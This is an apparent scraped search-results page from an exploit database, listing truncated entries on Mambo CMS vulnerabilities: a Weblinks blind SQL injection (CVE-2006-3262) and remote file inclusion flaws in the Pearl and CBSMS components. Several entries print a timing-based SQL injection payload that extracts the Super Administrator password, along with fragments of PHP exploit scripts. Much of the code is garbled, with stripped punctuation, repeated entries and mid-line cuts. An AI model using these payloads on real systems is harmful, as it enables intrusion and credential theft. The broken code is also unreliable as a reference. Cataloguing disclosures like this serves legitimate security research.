1915 matches found
CVE-2006-3262
The CVE-2006-3262 entry describes an SQL injection in the Weblinks module (weblinks.php) of Mambo 4.6rc1 and earlier. The vulnerability allows remote attackers to execute arbitrary SQL commands via the title parameter. Affected: Mambo 4.6rc1 and earlier (Weblinks component). Root cause: lack of i...
Mambo Component Pearl 1.6 - Multiple Remote File Inclusions
Mambo Component Pearl 1.6 - Multiple Remote File Inclusions --------------------------------------------------------------------------- Pearl For Mambo = 1.6 GlobalSettingstemplatesDirectory Remote File Include Vulnerabilities...
Pearl For Mambo <= 1.6 Multiple Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications =================================================================== Pearl For Mambo = 1.6 Multiple Remote File Include Vulnerabilities ===================================================================...
Mambo Component Pearl 1.6 - Multiple Remote File Inclusions
--------------------------------------------------------------------------- Pearl For Mambo = 1.6 GlobalSettingstemplatesDirectory Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...
Pearl For Mambo <= 1.6 Multiple Remote File Include Vulnerabilities
No description provided by source. --------------------------------------------------------------------------- Pearl For Mambo = 1.6 GlobalSettingstemplatesDirectory Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RL...
cbsms.txt
--------------------------------------------------------------------------- CBSMS Mambo Module = 1.0 mosConfigabsolutepath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team Remote : Yes...
CBSMS Mambo Module <= 1.0 Remote File Include Vulnerability
Exploit for unknown platform in category web applications =========================================================== CBSMS Mambo Module = 1.0 Remote File Include Vulnerability ===========================================================...
Mambo Module CBSms 1.0 - Remote File Inclusion
--------------------------------------------------------------------------- CBSMS Mambo Module = 1.0 mosConfigabsolutepath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team Remote : Yes...
mambo_46rc1_sql.txt
!/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super Administrator'/ in mambo.txt we have: 13 Query SELE...
CBSMS Mambo Module <= 1.0 Remote File Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- CBSMS Mambo Module = 1.0 mosConfigabsolutepath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romani...
Mambo Module CBSms 1.0 - Remote File Inclusion
Mambo Module CBSms 1.0 - Remote File Inclusion --------------------------------------------------------------------------- CBSMS Mambo Module = 1.0 mosConfigabsolutepath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By...
Mambo <= 4.6rc1 (Weblinks) Remote Blind SQL Injection Exploit (2)
Exploit for unknown platform in category web applications ================================================================= Mambo 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$strin...
Mambo <= 4.6rc1 (Weblinks) Remote Blind SQL Injection Exploit (2)
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Mambo = 4.6rc1 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit ii quicker and more effective version, but it floods\r\n"; echo "admin of links submissions...\r\n"; echo "by rgod...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (2)
Mambo 4.6rc1 - Weblinks Blind SQL Injection 2 !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (2)
!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...
Mambo < 4.6.1 Login Function usercookie Cookie SQL Injection
Binary data 3656.prm...
mambo -- SQL injection vulnerabilities
The Team Mambo reports that two SQL injection vulnerabilities have been found in Mambo. The vulnerabilities exists due to missing sanitation of the title and catid parameters in the weblinks.php page and can lead to execution of arbitrary SQL code...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (1)
Mambo 4.6rc1 - Weblinks Blind SQL Injection 1 !/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super...
Mambo <= 4.6rc1 (Weblinks) Blind SQL Injection Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Mambo = 4.6rc1 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit benchmark vesion\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "this...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (1)
!/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super Administrator'/ in mambo.txt we have: 13 Query SELE...